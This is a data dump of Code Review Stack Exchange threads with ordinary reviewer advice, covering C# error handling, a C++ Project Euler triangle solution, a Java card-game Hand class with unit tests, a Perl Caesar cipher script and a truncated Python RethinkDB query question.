List<Interfaces.ITimeline> timelineEvents = new List<Interfaces.ITimeline>();
timelineEvents.AddRange(Controllers.FollowUp.GetAll(personID));
//add more to the list as the system grows
return timelineEvents;
}
</code></pre>
<p>That is fine, as long as one of the controllers doesn't throw and error, then the whole Interface collapses. I had something similar happen on a another project, production environment, where a single provider went haywire due a bug on their system, amongst several other providers that were being interfaced with and worked fine. It wouldn't be so bad if it didn't crash all 600+ sites, just because of that mistake somebody else made.</p>
<p>I don't want to do try catches around every single addrange - I think that is just cluttering. Also, with integration like that, you build things to work, but exceptions happens here and there.</p>
<p>What is a proper way of taking data from various sources, controllers or integration, adding them to a collection of items for the interface? That way, if something fails in the middle, it won't bring down the entire page, or even worse, the whole framework.</p>
| [] | [
{
"body": "<p>The error should be caught where it occurs, namely in the controller. If possible try to implement something like this</p>\n\n<pre><code>TimelineEventCollection personTimelineEvents; // Change to the appropriate collection type.\nif (Controllers.FollowUp.TryGetAll(personID, out personTimelineEvents)) {\n timelineEvents.AddRange(personTimelineEvents);\n}\n</code></pre>\n\n<p>The advantage of this approach is that the error does not get swallowed up silently by some try-catch-statement. You get a Boolean return value from <code>TryGetAll</code> telling you if all went right. At the same time the basic error handling happens in a low level method and not in your list filling routine.</p>\n\n<p>If you cannot alter the <code>Controllers.FollowUp</code> class, you can still write an extension method giving you the same functionality.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T18:37:20.697",
"Id": "82811",
"Score": "0",
"body": "That is SOLID advice! Defiantly a great approach, I use TryGet almost daily and never thought of doing that on my own code! Thanks +1"
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T18:33:48.953",
"Id": "47271",
"ParentId": "47267",
"Score": "4"
}
}
] | {
"AcceptedAnswerId": "47271",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T18:10:17.610",
"Id": "47267",
"Score": "3",
"Tags": [
"c#",
"interface"
],
"Title": "Interface for a CRM system"
} | 47267 |
<p>This is my attempt at Project 18/67 of Project Euler. You can see the problem information, and obtain the needed txt file from <a href="http://projecteuler.net/index.php?section=problems&id=67" rel="nofollow">here</a>.</p>
<p>I had some help with the split function, and help on how to use an vector to do this. I would love any other feedback on this code.</p>
<pre><code>#include <iostream>
#include <fstream>
#include <vector>
#include <string>
#include <sstream>
//function by jesyspa
std::vector<int> split(std::string line){
std::stringstream ss (line);
std::vector<int> result;
std::string num;
while(std::getline(ss, num, ','))
result.push_back(std::stoi(num));
return result;
}
int main(){
std::vector<std::vector<int>> grid;
//inputing triangle fule
std::ifstream nums;
nums.open("triangle.txt");
std::string row;
//Calling function, and pushing back into the vector
while(std::getline(nums, row, '\n')){
grid.push_back(split(row));
}
//term is one shorter then grid
int term = grid.back().size() - 1;
//This loop add's the larger of two bottom numbers, with the number above the first of the two.
for(int a = term; a >= 1; a--){
for(int b = 0; b <= a; b++){
if(grid[a][b] > grid[a][b+1]){
grid[a-1][b] += grid[a][b];
}
else{
grid[a-1][b] += grid[a][b+1];
}
}
}
//Our answer
std::cout << grid[0][0];
}
</code></pre>
| [] | [
{
"body": "<p>Generally speaking, I find that your code is clear. I just have a few remarks:</p>\n\n<ul>\n<li><p>You should order your headers in alhabetical order. It will help you to quickly check whether some header is already included or not in you plan to add some:</p>\n\n<pre><code>#include <fstream>\n#include <iostream>\n#include <sstream>\n#include <string>\n#include <vector>\n</code></pre></li>\n<li><p>You should open your file directly from the constructor, and check whether there was a problem when you tried to open the file:</p>\n\n<pre><code>std::ifstream nums.open(\"triangle.txt\");\nif (not nums.good())\n{\n throw std::runtime_error(\"Could not open the file.\");\n}\n</code></pre></li>\n<li><p>You can replace this condition:</p>\n\n<pre><code>if(grid[a][b] > grid[a][b+1]){\n grid[a-1][b] += grid[a][b];\n}\nelse{\n grid[a-1][b] += grid[a][b+1];\n}\n</code></pre>\n\n<p>You can use <code>std::max</code> instead:</p>\n\n<pre><code>grid[a-1][b] += std::max(grid[a][b], grid[a][b+1]);\n</code></pre></li>\n<li><p>I don't know why you chosed <code>,</code> as a separator since the original file uses a space as separator. Had you kept the space as a separator in your file, you vould have rewritten the function <code>split</code> with <a href=\"http://en.cppreference.com/w/cpp/iterator/istream_iterator\" rel=\"nofollow\"><code>std::istream_iterator</code></a>, with an <code>int</code> template parameter:</p>\n\n<pre><code>std::vector<int> split(const std::string& line){\n std::stringstream ss(line);\n return {\n std::istream_iterator<int>{ss},\n std::istream_iterator<int>{}\n };\n}\n</code></pre>\n\n<p>The braces after the <code>return</code> correspond to <a href=\"http://en.cppreference.com/w/cpp/language/list_initialization\" rel=\"nofollow\">list initialization</a>. The rules for list initialization are pretty complex; the curly braces after <code>return</code> mean that an instance of the anounced return type (<code>std::vector<int></code>) should be created with the arguments between the braces. In our case, the chosen constructor is the one that matches the best two <code>istream_iterator<int></code> instances:</p>\n\n<pre><code>template<class InputIt>\nvector(InputIt first, InputIt last,\n const Allocator& alloc=Allocator());\n</code></pre></li>\n</ul>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T18:55:36.407",
"Id": "47274",
"ParentId": "47272",
"Score": "6"
}
},
{
"body": "<p>Not a really fancy comment but :</p>\n\n<pre><code> if(grid[a][b] > grid[a][b+1]){\n grid[a-1][b] += grid[a][b];\n }\n else{\n grid[a-1][b] += grid[a][b+1];\n }\n</code></pre>\n\n<p>can easily be rewritten</p>\n\n<pre><code> grid[a-1][b] += max(grid[a][b], grid[a][b+1])\n</code></pre>\n\n<p>Also, your function and algorithm deserve more documentation.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T18:55:46.777",
"Id": "47275",
"ParentId": "47272",
"Score": "4"
}
},
{
"body": "<p>One thing I see is that <code>split()</code>'s parameter should be passed by <code>const&</code> as it's not being modified within the function. This is how objects should be passed if they're not to be modified, preventing an unnecessary copy of read-only data.</p>\n\n<pre><code>split(std::string const& line) {}\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T18:59:58.643",
"Id": "47277",
"ParentId": "47272",
"Score": "4"
}
}
] | {
"AcceptedAnswerId": "47274",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T18:35:36.553",
"Id": "47272",
"Score": "6",
"Tags": [
"c++",
"c++11",
"programming-challenge"
],
"Title": "Project Euler 18/67: Maximum Sum from Top to Bottom of the Triangle"
} | 47272 |
<p>As part of a Trading Card Game, I have created a <code>Hand</code> that will need to hold all cards that a player currently has in his hand. The code is built using Java 8.</p>
<p>The structure is the following:</p>
<ul>
<li>Class for exception throwing.</li>
<li>The Card interface.</li>
<li>The Hand class.</li>
<li>The HandTest test class.</li>
</ul>
<hr>
<pre><code>public final class ExceptionUtils {
private ExceptionUtils() {
throw new UnsupportedOperationException();
}
public static <E extends RuntimeException> void throwOnFail(final BooleanSupplier resultSupplier, final Supplier<E> exceptionSupplier) throws E {
Objects.requireNonNull(resultSupplier);
throwOnFail(resultSupplier.getAsBoolean(), exceptionSupplier);
}
public static <E extends RuntimeException> void throwOnFail(final boolean result, final Supplier<E> exceptionSupplier) throws E {
Objects.requireNonNull(exceptionSupplier);
if (!result) {
throw exceptionSupplier.get();
}
}
public static <E extends RuntimeException> void throwOnFail(final BooleanSupplier resultSupplier, final Function<String, E> exceptionFunction, final String message) throws E {
Objects.requireNonNull(resultSupplier);
throwOnFail(resultSupplier.getAsBoolean(), exceptionFunction, message);
}
public static <E extends RuntimeException> void throwOnFail(final boolean result, final Function<String, E> exceptionFunction, final String message) throws E {
Objects.requireNonNull(exceptionFunction);
Objects.requireNonNull(message);
if (!result) {
throw exceptionFunction.apply(message);
}
}
public static <E extends RuntimeException> void throwOnSuccess(final BooleanSupplier resultSupplier, final Supplier<E> exceptionSupplier) throws E {
Objects.requireNonNull(resultSupplier);
throwOnSuccess(resultSupplier.getAsBoolean(), exceptionSupplier);
}
public static <E extends RuntimeException> void throwOnSuccess(final boolean result, final Supplier<E> exceptionSupplier) throws E {
Objects.requireNonNull(exceptionSupplier);
if (result) {
throw exceptionSupplier.get();
}
}
public static <E extends RuntimeException> void throwOnSuccess(final BooleanSupplier resultSupplier, final Function<String, E> exceptionFunction, final String message) throws E {
Objects.requireNonNull(resultSupplier);
throwOnSuccess(resultSupplier.getAsBoolean(), exceptionFunction, message);
}
public static <E extends RuntimeException> void throwOnSuccess(final boolean result, final Function<String, E> exceptionFunction, final String message) throws E {
Objects.requireNonNull(exceptionFunction);
Objects.requireNonNull(message);
if (result) {
throw exceptionFunction.apply(message);
}
}
}
</code></pre>
<hr>
<pre><code>public interface Card {
public String getName();
}
</code></pre>
<hr>
<pre><code>public class Hand {
private final List<Card> list = new ArrayList<>();
private final int capacity;
public Hand(final int capacity) {
ExceptionUtils.throwOnFail(capacity > 0, IllegalArgumentException::new, "capacity should be strictly positive");
this.capacity = capacity;
}
public boolean isFull() {
return (list.size() == capacity);
}
public void add(final Card card) {
Objects.requireNonNull(card);
ExceptionUtils.throwOnSuccess(this::isFull, IllegalStateException::new, "hand is full");
list.add(card);
}
public Card play(final int index) {
assertIndex(index);
return list.remove(index);
}
public void swap(final int indexOne, final int indexTwo) {
assertIndex(indexOne);
assertIndex(indexTwo);
Collections.swap(list, indexOne, indexTwo);
}
private void assertIndex(final int index) {
ExceptionUtils.throwOnFail(index >= 0 && index < list.size(), IndexOutOfBoundsException::new);
}
@Override
public String toString() {
return "Hand(" + capacity + ", " + list + ")";
}
}
</code></pre>
<hr>
<pre><code>public class HandTest {
{
assertEquals(true, true);
}
@Test
public void testConstructor() {
Hand hand = new Hand(1);
}
@Test(expected = IllegalArgumentException.class)
public void testConstructorIAE() {
Hand hand = new Hand(0);
}
@Test
public void testIsFull() {
Hand hand = new Hand(2);
hand.add(createCard());
assertEquals("hand should not be full", false, hand.isFull());
hand.add(createCard());
assertEquals("hand should be full", true, hand.isFull());
hand.play(1);
assertEquals("hand should not be full anymore", false, hand.isFull());
}
@Test
public void testAdd() {
Hand hand = new Hand(1);
hand.add(createCard());
}
@Test(expected = NullPointerException.class)
public void testAddNPE() {
Hand hand = new Hand(1);
hand.add(null);
}
@Test(expected = IllegalStateException.class)
public void testAddISE() {
Hand hand = new Hand(1);
hand.add(createCard());
hand.add(createCard());
}
@Test
public void testPlay() {
Hand hand = new Hand(1);
Card card = createCard();
hand.add(card);
assertEquals("card should be equal", card, hand.play(0));
}
@Test(expected = IndexOutOfBoundsException.class)
public void testPlayIOOB1() {
Hand hand = new Hand(1);
hand.play(-1);
}
@Test(expected = IndexOutOfBoundsException.class)
public void testPlayIOOB2() {
Hand hand = new Hand(1);
hand.play(0);
}
@Test(expected = IndexOutOfBoundsException.class)
public void testPlayIOOB3() {
Hand hand = new Hand(1);
hand.add(createCard());
hand.play(1);
}
@Test
public void testSwap() {
Hand hand = new Hand(2);
Card card = createCard();
Card card2 = createCard2();
hand.add(card);
hand.add(card2);
hand.swap(0, 1);
assertEquals("card should be equal", card, hand.play(1));
assertEquals("card2 should be equal", card2, hand.play(0));
}
@Test(expected = IndexOutOfBoundsException.class)
public void testSwapIOOB1() {
Hand hand = new Hand(1);
hand.add(createCard());
hand.swap(-1, 0);
}
@Test(expected = IndexOutOfBoundsException.class)
public void testSwapIOOB2() {
Hand hand = new Hand(1);
hand.add(createCard());
hand.swap(1, 0);
}
@Test(expected = IndexOutOfBoundsException.class)
public void testSwapIOOB3() {
Hand hand = new Hand(1);
hand.add(createCard());
hand.swap(0, -1);
}
@Test(expected = IndexOutOfBoundsException.class)
public void testSwapIOOB4() {
Hand hand = new Hand(1);
hand.add(createCard());
hand.swap(0, 1);
}
@Test
public void testToString1() {
Hand hand = new Hand(1);
assertEquals("Hand(1, [])", hand.toString());
}
@Test
public void testToString2() {
Hand hand = new Hand(2);
Card card = createCard();
Card card2 = createCard2();
hand.add(card);
hand.add(card2);
assertEquals("Hand(2, [" + card + ", " + card2 + "])", hand.toString());
}
private Card createCard() {
return new MonsterCard("Test", 10, 100, MonsterModus.OFFENSIVE);
}
private Card createCard2() {
return new MonsterCard("Test2", 15, 150, MonsterModus.HEALING);
}
}
</code></pre>
<p>WIth the given tests I score a 100% instruction and branche coverage percentage on <code>Hand</code> testing:</p>
<p><img src="https://i.stack.imgur.com/gk1pn.png" alt="enter image description here"></p>
<p>The <code>assertEquals(true, true)</code> is there to ensure that Netbeans does not get rid of my static import there.</p>
<p>Special focus may be given on the ability to understand the code without javadoc.<br>
I am aware that the ExceptionUtils class does not have unit tests yet.<br>
Github repository for reference: <a href="https://github.com/skiwi2/TCG/" rel="nofollow noreferrer">https://github.com/skiwi2/TCG/</a></p>
| [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T20:03:42.960",
"Id": "82823",
"Score": "4",
"body": "I agree with the response below but those are just \"minor\" tweaks. Overall, I have to say I love the code. Also the defensive programming, nice approach."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-16T14:28:46.840",
"Id": "82954",
"Score": "0",
"body": "Can two `Card`s have the same `name`? What if they are of the same type(`c1.getClass()==c2.getClass()`)? Can a `Hand` contain `Card`s of different types?"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-16T14:29:27.363",
"Id": "82955",
"Score": "0",
"body": "@abuzittingillifirca Yes and yes. It can contain all kinds of `Card`s."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-16T15:31:53.210",
"Id": "82966",
"Score": "0",
"body": "You'll eventually have to have some sort of concurrency control and indexes of cards changing will cause problem. returning an order of addition on `add()`, which would be immutable can be a solution, that's also my understanding of what @palacsint mentions in his second answer."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-18T00:26:55.563",
"Id": "83309",
"Score": "0",
"body": "Throw on \"success\" and \"fail\" seem like weird terminology to me. Wouldn't simply \"true\" and \"false\" be better?"
}
] | [
{
"body": "<ol>\n<li><p>If NetBeans requires this:</p>\n\n<blockquote>\n<pre><code>{\n assertEquals(true, true);\n}\n</code></pre>\n</blockquote>\n\n<p>I would put a comment about that or move it into a method like <code>workaroundForNetBeansNotToRemoveStaticImports</code>.</p></li>\n<li><p>Instead of this:</p>\n\n<blockquote>\n<pre><code>@Test\npublic void testConstructor() {\n Hand hand = new Hand(1);\n}\n</code></pre>\n</blockquote>\n\n<p>I'd use the following, it's the same:</p>\n\n<pre><code>@Test\npublic void testConstructor() {\n new Hand(1);\n}\n</code></pre>\n\n<p>(Eclipse shows a warning about the unused variable.)</p></li>\n<li><p>I'd rename </p>\n\n<ul>\n<li><code>testConstructorIAE()</code> to <code>testConstructorWithInvalidCapacity()</code></li>\n<li><code>testAddISE()</code> to <code>testAddCouldNotExceedHandLimit()</code></li>\n<li><code>testPlayIOOB1()</code> to <code>testPlayWithInvalidCardIndex()</code></li>\n<li><code>testPlayIOOB2()</code> to <code>testPlayWithoutAnyCard()</code></li>\n<li><code>testPlayIOOB3()</code> to <code>testPlayWithOneCardButInvalidCardIndex()</code></li>\n<li>...</li>\n</ul>\n\n<p>which are more descriptive.</p></li>\n<li><p>You could use <code>assertTrue</code> and <code>assertFalse</code> here instead of <code>assertEquals</code>:</p>\n\n<blockquote>\n<pre><code>assertEquals(\"hand should not be full\", false, hand.isFull());\nhand.add(createCard());\nassertEquals(\"hand should be full\", true, hand.isFull());\n</code></pre>\n</blockquote></li>\n<li><p>If I have two objects with similar names in the same test I usually postfix them like <code>cardOne</code> and <code>cardTwo</code> or prefix them as <code>firstCard</code> as <code>secondCard</code>.</p>\n\n<blockquote>\n<pre><code>Card card = createCard();\nCard card2 = createCard2();\n</code></pre>\n</blockquote>\n\n<p>I've found that easier to read/separate from each other than numbers.</p></li>\n<li><p>I'd put an <code>assertNotEquals(card, card2)</code> into the <code>testSwap</code> method just to make sure that test data is correct:</p>\n\n<pre><code>@Test\npublic void testSwap() {\n Hand hand = new Hand(2);\n Card card = createCard();\n Card card2 = createCard2();\n assertNotEquals(card, card2);\n ...\n}\n</code></pre></li>\n<li><p>For this:</p>\n\n<blockquote>\n<pre><code>public Hand(final int capacity) {\n ExceptionUtils.throwOnFail(capacity > 0, IllegalArgumentException::new, \"capacity should be strictly positive\");\n this.capacity = capacity;\n}\n</code></pre>\n</blockquote>\n\n<p>Google Guava has a great <a href=\"http://docs.guava-libraries.googlecode.com/git/javadoc/com/google/common/base/Preconditions.html#checkState%28boolean,%20java.lang.Object%29\"><code>checkState()</code></a> method for that with more compact form. Consider using it. Here is the constructor and the add method with Guava's <code>Preconditions</code>:</p>\n\n<pre><code>public Hand(final int capacity) {\n checkArgument(capacity > 0, \"capacity should be strictly positive\");\n this.capacity = capacity;\n}\n\npublic void add(final Card card) {\n checkNotNull(card, \"card cannot be null\");\n checkState(!isFull(), \"hand is full\");\n list.add(card);\n}\n</code></pre>\n\n<p>Having unit tests is great (keep it up!), I could change these methods and the tests checked that they're still doing the same thing as before. It's very handy.</p></li>\n<li><p>For me <code>assertIndex</code> means that it can be disabled at runtime like assertions. I'd consider renaming that to <code>checkValidIndex</code>.</p></li>\n<li><p>It would be useful for debugging to have the invalid index in the exception message here:</p>\n\n<blockquote>\n<pre><code>private void assertIndex(final int index) {\n ExceptionUtils.throwOnFail(index >= 0 && index < list.size(), IndexOutOfBoundsException::new);\n}\n</code></pre>\n</blockquote></li>\n<li><p><code>Objects.requireNonNull</code> has an overloaded version with a second, message parameter. Using that here would help debugging:</p>\n\n<blockquote>\n<pre><code>public void add(final Card card) {\n Objects.requireNonNull(card);\n ExceptionUtils.throwOnSuccess(this::isFull, IllegalStateException::new, \"hand is full\");\n list.add(card);\n}\n</code></pre>\n</blockquote></li>\n<li><p>I would wrap the longer lines. 180 character is could be much.</p></li>\n<li><p>I like your <code>final</code>s, they help reading.</p></li>\n<li><p>I might not be so strict here:</p>\n\n<blockquote>\n<pre><code>@Test\npublic void testToString2() {\n Hand hand = new Hand(2);\n Card card = createCard();\n Card card2 = createCard2();\n hand.add(card);\n hand.add(card2);\n assertEquals(\"Hand(2, [\" + card + \", \" + card2 + \"])\", hand.toString());\n}\n</code></pre>\n</blockquote>\n\n<p>It might overspecify the format without any reason. Consider the following:</p>\n\n<pre><code>import static org.fest.assertions.api.Assertions.assertThat; \n\n@Test\npublic void testToString2() {\n Hand hand = new Hand(2);\n Card firstCard = createCard();\n Card secondCard = createCard2();\n hand.add(firstCard);\n hand.add(secondCard);\n\n assertThat(hand.toString()).contains(\"2\");\n assertThat(hand.toString()).contains(firstCard.toString());\n assertThat(hand.toString()).contains(secondCard.toString());\n}\n</code></pre>\n\n<p>(The import is from <a href=\"https://code.google.com/p/fest/\">fest</a>.)</p></li>\n<li><p>I think <code>cards</code> would be a better name here, it describes the purpose of field better:</p>\n\n<blockquote>\n<pre><code>private final List<Card> list = new ArrayList<>();\n</code></pre>\n</blockquote></li>\n</ol>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-16T10:22:10.680",
"Id": "82922",
"Score": "0",
"body": "Ah nice, I see you have made an edit with more points! I agree with most of them, though I might not incorporate everything. Only comment is that on your last point, the `contains(\"2\")` is not specific enough as the `Card`s themselves might also contain `2`."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-16T12:17:27.493",
"Id": "82935",
"Score": "0",
"body": "@skiwi: Yeah, an `assertDoesNotContain(firstCard.toString(), \"2\")` (or something similar) might be good here but it's just a minor issue."
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T19:34:23.623",
"Id": "47279",
"ParentId": "47273",
"Score": "10"
}
},
{
"body": "<p>There are two sharp code smells that suggest you are attacking this project the wrong way around.</p>\n\n<p>One is that your HandTest is primarily concerned with verifying that the Hand class produces the correct behavior when various pre-conditions are invalid. Unless you are expecting to write a lot of broken code, these checks are not providing a lot of value.</p>\n\n<p>The second is that Hand doesn't insulate the caller from the fact that it is really \"just a List\". The public interface wraps standard List calls, with precondition enforcement. Where's the business value?</p>\n\n<p>Some class, somewhere, is going to need to know where in the list to get the cards it needs, and that class doesn't gain any benefit from using a Hand instead of a List.</p>\n\n<p>Instead of writing a container class, test and write a piece of your game, so that you can demonstrate how Hands behave - how the abstractions of the trading game map to standard container abstractions.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-16T10:30:32.627",
"Id": "82925",
"Score": "2",
"body": "I do not think you are entirely correct here. 1) The test class is concerned with testing the pre-conditions, because the goal is to test **everything**, yes that also includes those pesky pre-condition errors which you never hope to make. 2) The user of `Hand` does not care about the actual implementation and it surely does not want to have to do anything with a generic `List<Card>`, it simply just wants a `Hand`. And suggesting to wait for a failure to happen on `List<Card>.add()` (exceeding capacity), is not a good practice."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-18T00:35:40.357",
"Id": "83311",
"Score": "0",
"body": "@skiwi On point 2, I agree with VoiceOfUnreason. How am I supposed to use this class without being able to actually see what cards are in my hand? External code should definitely NOT be burdened with tracking the cards and indexes itself. Checking preconditions is great and all but it seems like it's the entire thrust of your design here. Feels like putting the cart before the horse."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-18T09:42:33.207",
"Id": "83365",
"Score": "0",
"body": "@BenAaronson I disagree there, in your hand the cards are still ordered and have an index. If you come from an interface, you need to say *which* card you want to pick, as duplicates are actually allowed."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-18T10:29:36.373",
"Id": "83371",
"Score": "0",
"body": "@skiwi But I don't even know what cards I hold unless I also track them outside the Hand!"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-18T10:30:36.677",
"Id": "83373",
"Score": "0",
"body": "@BenAaronson That is the job of an UI (or `View`), which still needs to be integrated."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-18T18:12:27.790",
"Id": "83419",
"Score": "0",
"body": "@skiwi So the UI will separately track which cards are in the hand, or it will ask the Hand object?"
}
],
"meta_data": {
"CommentCount": "6",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T21:54:35.480",
"Id": "47294",
"ParentId": "47273",
"Score": "3"
}
},
{
"body": "<p>I think <code>Hand</code> does the information hiding well, it checks the invariants and does not allow invalid state. It fails early, throws proper exceptions when the clients tries something invalid and does not postpone or ignore errors. Bugs happen, so it's safer to be defensive. (<em>The Pragmatic Programmer: From Journeyman to Master</em> by <em>Andrew Hunt</em> and <em>David Thomas</em>: <em>Dead Programs Tell No Lies</em>.)</p>\n\n<p>Furthermore, it hides the method of the underlying <code>list</code> which are not required for a card game client (like <code>clear()</code>, <code>indexOf()</code>, <code>remove()</code>) and it's easier and safer to use and than a plain <code>java.util.List</code>. (It also makes possible to change the underlying implementation without changing clients.)</p>\n\n<p>One thing which smells a little bit that client classes need indexes for calling <code>play</code> and <code>swap</code> and this knowledge is implicit in the model. Clients have to know that the index of the first added card is zero, the index of the second card is one and if they play a card it decreases the indexes of the subsequent cards in the hand. It might be better if <code>add</code> returns the index of a card (but it still not solve the issue of <code>play</code>). (I haven't checked the other classes in the GitHub repository so this might be completely fine.)</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-16T12:39:06.770",
"Id": "47348",
"ParentId": "47273",
"Score": "0"
}
}
] | {
"AcceptedAnswerId": "47279",
"CommentCount": "5",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T18:47:08.900",
"Id": "47273",
"Score": "15",
"Tags": [
"java",
"game",
"unit-testing",
"community-challenge"
],
"Title": "Trading Card Game's Hand class and tests"
} | 47273 |
<p>I wrote a little Perl script to <a href="http://en.wikipedia.org/wiki/Caesar_cipher" rel="noreferrer">Caesar shift</a> strings. Usage:</p>
<pre><code>$ # usage: caesar <string> [shifts,...]
$ caesar abcde # The default shift is 13.
nopqr
$ caesar abcde 1
bcdef
$ caesar abcde 1,13 # Multiple shifts are supported.
bcdef
nopqr
$ caesar abcde 1-3,5-6 # Shift ranges are supported.
bcdef
cdefg
defgh
fghij
ghijk
</code></pre>
<p>Here is the code:</p>
<pre><code>#!/usr/bin/env perl
use strict;
sub usage {
die 'usage: ceaser <string> [shifts,...]'
}
usage if $#ARGV < 0;
my @str = split //, $ARGV[0];
my @shifts = split /,/, $ARGV[1];
@shifts = (13) unless @shifts;
# Resolve ranges.
my @shifts2 = ();
SHIFT: for my $shift (@shifts) {
my @ranges = split /-/, $shift;
for my $range (@ranges) {
if ($range < 0 || $range > 25) {
warn "invalid shift size: $range";
next SHIFT;
}
}
push @shifts2, ($ranges[0]..$ranges[$#ranges]);
}
@shifts = @shifts2;
# Generate ciphered strings.
for my $shift (@shifts) {
my @str2 = @str;
for my $c (@str2) {
my $d = ord($c);
if ($d >= ord('a') && $d <= ord('z') - $shift ||
$d >= ord('A') && $d <= ord('Z') - $shift) {
$d += $shift;
} elsif ($d >= ord('z') - $shift && $d <= ord('z') ||
$d >= ord('Z') - $shift && $d <= ord('Z')) {
$d -= ord('z') - ord('a') - $shift + 1;
}
$c = chr($d);
}
printf "%s\n", join '', @str2;
}
</code></pre>
<p>This is my first Perl script. I am looking for advice on making the code simpler, cleaner, and more idiomatic.</p>
| [] | [
{
"body": "<p>This is good Perl code. You've followed good practices such as <code>use strict</code> and declaring variables using <code>my</code>. It's also quite readable.</p>\n\n<p>However, it feels a bit like C, trudging along with a lot of iteration and low-level operations. Also, I would suggest defining subroutines such as <code>caesar</code> and <code>shifts</code>.</p>\n\n<p>A typical way to implement a Caesar cipher using Perl is with the <a href=\"http://perldoc.perl.org/perlop.html#tr%2fSEARCHLIST%2fREPLACEMENTLIST%2fcdsr\" rel=\"nofollow\"><code>tr</code> operator</a>. Unfortunately, since the amount of shifting is to be determined at runtime, you would have to use a nasty <code>eval</code>.</p>\n\n<pre><code>my $uc_in = join '', ('A'..'Z');\nmy $lc_in = join '', ('a'..'z');\nsub caesar {\n my ($shift, $text) = @_;\n my $uc_out = substr((join '', ('A'..'Z', 'A'..'Z')), $shift, 26);\n my $lc_out = substr((join '', ('a'..'z', 'a'..'z')), $shift, 26);\n eval \"\\$text =~ tr/$uc_in$lc_in/$uc_out$lc_out/r\";\n}\n</code></pre>\n\n<p>An alternative implementation, closer to your original idea but avoiding splitting and iterating, is to perform a substitution using <code>s///eg</code>.</p>\n\n<pre><code>sub caesar {\n my ($shift, $text) = @_;\n $text =~ s{([A-Z])|([a-z])}\n { chr($1 && (ord($1) <= ord('Z') - $shift) ? ord($1) + $shift :\n $2 && (ord($2) <= ord('z') - $shift) ? ord($2) + $shift :\n $1 ? ord($1) + $shift - (ord('Z') - ord('A') + 1) :\n ord($2) + $shift - (ord('z') - ord('a') + 1)\n )\n }eg;\n return $text;\n}\n</code></pre>\n\n<p>To parse the shifts, I would prefer a more functional approach, building the list using <code>map</code> instead of appending results within a <code>for</code> loop.</p>\n\n<pre><code>sub shifts {\n my ($arg) = @_;\n return map {\n my ($low, $high) = split /-/, $_, 2;\n if ($low < 0 || $high > 25 || defined $high && $low >= $high) {\n warn \"Invalid shift size: $_\";\n }\n defined $high ? ($low .. $high) : $low;\n } (split /,/, $arg);\n}\n</code></pre>\n\n<p>With the difficult stuff out of the way, the main program would be something like</p>\n\n<pre><code># print \"…\\n\" is annoying. Use say() if you have a newer Perl.\nuse v5.10;\nuse feature qw(say);\n\ndie 'usage: caesar <string> [shifts,...]' unless @ARGV;\n\nmy @shifts = defined $ARGV[1] ? shifts($ARGV[1]) : (13);\nfor my $shift (@shifts) {\n say caesar($shift, $ARGV[0]);\n}\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-16T21:25:01.910",
"Id": "83037",
"Score": "1",
"body": "Always `use warnings;`"
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T20:19:37.063",
"Id": "47286",
"ParentId": "47276",
"Score": "3"
}
}
] | {
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T18:57:08.693",
"Id": "47276",
"Score": "5",
"Tags": [
"perl",
"caesar-cipher"
],
"Title": "Little script to Caesar shift strings"
} | 47276 |
<p>I have the following code, written in Python:</p>
<pre><code>if id:
fields = r.table(cls._tablename)
.get(id)
.run(cls.connection())
else:
try:
fields = list(r.table(cls._tablename)
.filter(**kwargs)
.limit(1)
.run(cls.connection()))[0]
except IndexError:
fields = None
</code></pre>
<p>The code acts as a wrapper for getting a document from a RethinkDB datastore. I find all those indents unaesthetic, and I cannot seem to find a way to wrap the lines to look nicer.</p>
<p>So, is there a way I can rewrite (or maybe just rewrap) this code to look better and provide the same functionality?</p>
| [] | [
{
